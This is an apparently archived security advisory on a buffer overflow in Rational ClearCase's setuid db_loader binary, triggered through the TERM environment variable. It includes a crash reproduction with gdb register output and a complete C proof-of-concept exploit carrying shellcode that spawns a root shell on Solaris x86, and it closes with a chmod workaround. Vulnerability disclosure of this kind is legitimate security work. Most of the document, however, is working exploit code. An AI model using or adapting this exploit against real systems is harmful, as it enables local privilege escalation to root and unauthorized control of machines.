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COMMAND ClearCase SYSTEMS AFFECTED ClearCase 3.2+, 4.0, 4.1, 4.2 PROBLEM VirtualCat from XFocus (http://xfocus.org) found following, about ClearCase, a software management solution edited by Rational Software. There is a buffer overflow in ClearCase db_loader binary when it read TERM environment variable that can be used by local users to obtain root privilege. Details ------- $ TERM=`perl -e \'print \"A\"x550\'` $ export TERM $ /usr/atria/etc/db_loader Bus Error $ gdb db_loader core -q (no debugging symbols found)...Core was generated by `./db_loader\'. Cannot access memory at address 0xffffffffff3e1b80 #0 0xf0db8 in imsg_fputs () (gdb) bt #0 0xf0db8 in imsg_fputs () Cannot access memory at address 0x41414179 (gdb) i reg g0 0x0 0 g1 0x7b000 503808 g2 0x13cf84 1298308 g3 0x0 0 g4 0xf6c2c 1010732 g5 0x0 0 g6 0x0 0 g7 0x143d58 1326424 o0 0xffffffff -1 o1 0x1 1 o2 0xffbef054 -4263852 o3 0xf0c3c 986172 o4 0xffbeed8a -4264566 o5 0xffffffff -1 sp 0xffbeef70 -4264080 o7 0xf0db0 986544 l0 0x41414141 1094795585 l1 0x41414141 1094795585 l2 0x41414141 1094795585 l3 0x41414141 1094795585 l4 0x41414141 1094795585 l5 0x41414141 1094795585 l6 0x41414141 1094795585 l7 0x41414141 1094795585 i0 0x41414141 1094795585 i1 0x41414141 1094795585 i2 0x41414141 1094795585 i3 0x41414141 1094795585 i4 0x41414141 1094795585 i5 0x41414141 1094795585 fp 0x41414141 1094795585 i7 0x41414141 1094795585 y 0x0 0 psr 0xfe801007 -25161721 icc:N---, pil:0, s:0, ps:0, et:0, cwp:7 wim 0x0 0 tbr 0x0 0 pc 0xf0db8 986552 npc 0xf0dbc 986556 fpsr 0x0 0 rd:N, tem:0, ns:0, ver:0, ftt:0, qne:0, fcc:=, aexc:0, cexc:0 cpsr 0x0 0 (gdb) Successfully exploit of this vulnerability would give an attacker root privilege. Prove-Of-Concept exploit code ----------------------------- /* Rational ClearCase TERM environment variable buffer overflow exploit * test it again solaris x86 7, bug found by virtualcat@xfocus.org * xploit by xundi@xfocus.org * website: http://xfocus.org */ #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #define RET_DIS 550 #define NOP 0x90 #define NNOP 512 #define ENV_VAR \"TERM\" #define USER_UPPER_MAGIC 0x08047fff /* Shell code taken from Pablo Sor\'s \"mailx -F\" exploit code */ char shellCode[] = \"\\xeb\\x48\\x9a\\xff\\xff\\xff\\xff\\x07\\xff\\xc3\\x5e\\x31\\xc0\\x89\\x46\\xb4\" \"\\x88\\x46\\xb9\\x88\\x46\\x07\\x89\\x46\\x0c\\x31\\xc0\\x50\\xb0\\x8d\\xe8\\xdf\" \"\\xff\\xff\\xff\\x83\\xc4\\x04\\x31\\xc0\\x50\\xb0\\x17\\xe8\\xd2\\xff\\xff\\xff\" \"\\x83\\xc4\\x04\\x31\\xc0\\x50\\x8d\\x5e\\x08\\x53\\x8d\\x1e\\x89\\x5e\\x08\\x53\" \"\\xb0\\x3b\\xe8\\xbb\\xff\\xff\\xff\\x83\\xc4\\x0c\\xe8\\xbb\\xff\\xff\\xff\\x2f\" \"\\x62\\x69\\x6e\\x2f\\x73\\x68\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\"; int get_esp() { __asm__(\"mov %esp,%eax\"); } int getEnvAddr(const char* envPtr) { int envAddr = NULL; int retCode = 0; char* charPtr = (char *) get_esp(); /* Search for the starting address of the environment string for */ /* the specified environment variable */ while((unsigned int) charPtr < (unsigned int) USER_UPPER_MAGIC) { retCode = memcmp((unsigned char *) charPtr++, envPtr, 4); /* Found */ if(retCode == 0) { envAddr = (int) (charPtr - 1); break; } } return envAddr; } int main(int argc, char** argv) { char buff[256] = {0}; int* intPtr = NULL; char* buffPtr = NULL; char* charPtr = NULL; int retAddr = 0; int retValue = 0; int buffLen = 0; int adjustment = 0; int strLen = 0; int alignment = 0; int diff = 0; int i; int shellCodeLen = strlen(shellCode); if(argc == 2) { adjustment = atoi(argv[1]); } buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1; charPtr = getenv(ENV_VAR); /* Adjust the stupid alignment */ strLen = strlen(charPtr) + 1; alignment = strLen % 4; if(alignment != 0) { alignment = 4 - alignment; strLen += alignment; } alignment = buffLen % 4; if(alignment != 0) { alignment = 4 - alignment; buffLen += alignment; } retValue = getEnvAddr(ENV_VAR); diff = buffLen - strLen; retAddr = retValue - diff + strlen(ENV_VAR) + 1; alignment = retAddr % 4; if(alignment != 0) { alignment = 4 - alignment; } retAddr += RET_DIS + alignment + adjustment; /* Allocate memory for the evil buffer */ buffPtr = (char *) malloc(buffLen); if(buffPtr != NULL) { strcpy(buffPtr, ENV_VAR); strcat(buffPtr, \"=\"); charPtr = (char *) (buffPtr + strlen(buffPtr)); /* Fill the rest of the buffer with \'A\' */ memset(charPtr, 0x41, buffLen - strlen(buffPtr)-4); /* Butt in the return address */ intPtr = (int *) (charPtr + RET_DIS); *intPtr++ = retAddr; /* Make sure the NOPs are located word aligned */ charPtr = (char *) intPtr; charPtr += alignment; for(i=0; i<NNOP; i++) { *charPtr++ = NOP; } for(i=0; i<shellCodeLen; i++) { *charPtr++ = shellCode[i]; } *charPtr = 0; putenv(buffPtr); printf(\"Jumping to 0x%.8x\\n\", retAddr); execl(\"/usr/atria/etc/db_loader\", \"xfocus\", NULL); } else { printf(\"No more free memory!\"); } } /*..Thanks for all xfocus members.. especially virtualcat*/ SOLUTION Workaround ---------- As noticed in Feb. 99 in http://www.securitybugware.org/Other/2258.html, by default db_loader has a setuid bit - nothing has changed by now. just remove it. # chmod a-s /usr/atria/etc/db_loader